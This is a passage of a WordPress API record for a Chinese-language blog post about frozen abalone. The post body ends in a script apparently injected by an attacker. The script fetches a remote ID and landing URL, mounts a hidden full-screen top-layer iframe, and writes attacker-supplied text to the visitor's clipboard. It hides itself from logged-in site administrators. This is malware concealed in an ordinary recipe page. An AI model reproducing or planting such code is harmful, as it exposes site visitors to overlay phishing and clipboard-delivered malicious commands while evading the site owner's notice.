return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>\u9b91\u9b5a\u5411\u4f86\u662f\u9910\u684c\u4e0a\u7684\u300c\u6d77\u9bae\u8cb4\u65cf\u300d\uff0c\u5176\u5f48\u7259\u7684\u8cea\u611f\u8207\u7368\u7279\u7684\u9bae\u5473\u8b93\u4eba\u96e3\u4ee5\u6297\u62d2\u3002\u4e0d\u5c11\u4eba\u6703\u554f\u51b7\u51cd\u9b91\u9b5a\u597d\u5403\u55ce\uff1f\u5176\u5be6\u53ea\u8981\u8655\u7406\u5f97 [&hellip;]<\/p>","protected":false},"author":2,"featured_media":3434,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[68],"tags":[],"class_list":["post-3398","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/posts\/3398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/comments?post=3398"}],"version-history":[{"count":0,"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/posts\/3398\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/media\/3434"}],"wp:attachment":[{"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/media?parent=3398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/categories?post=3398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/en\/wp-json\/wp\/v2\/tags?post=3398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}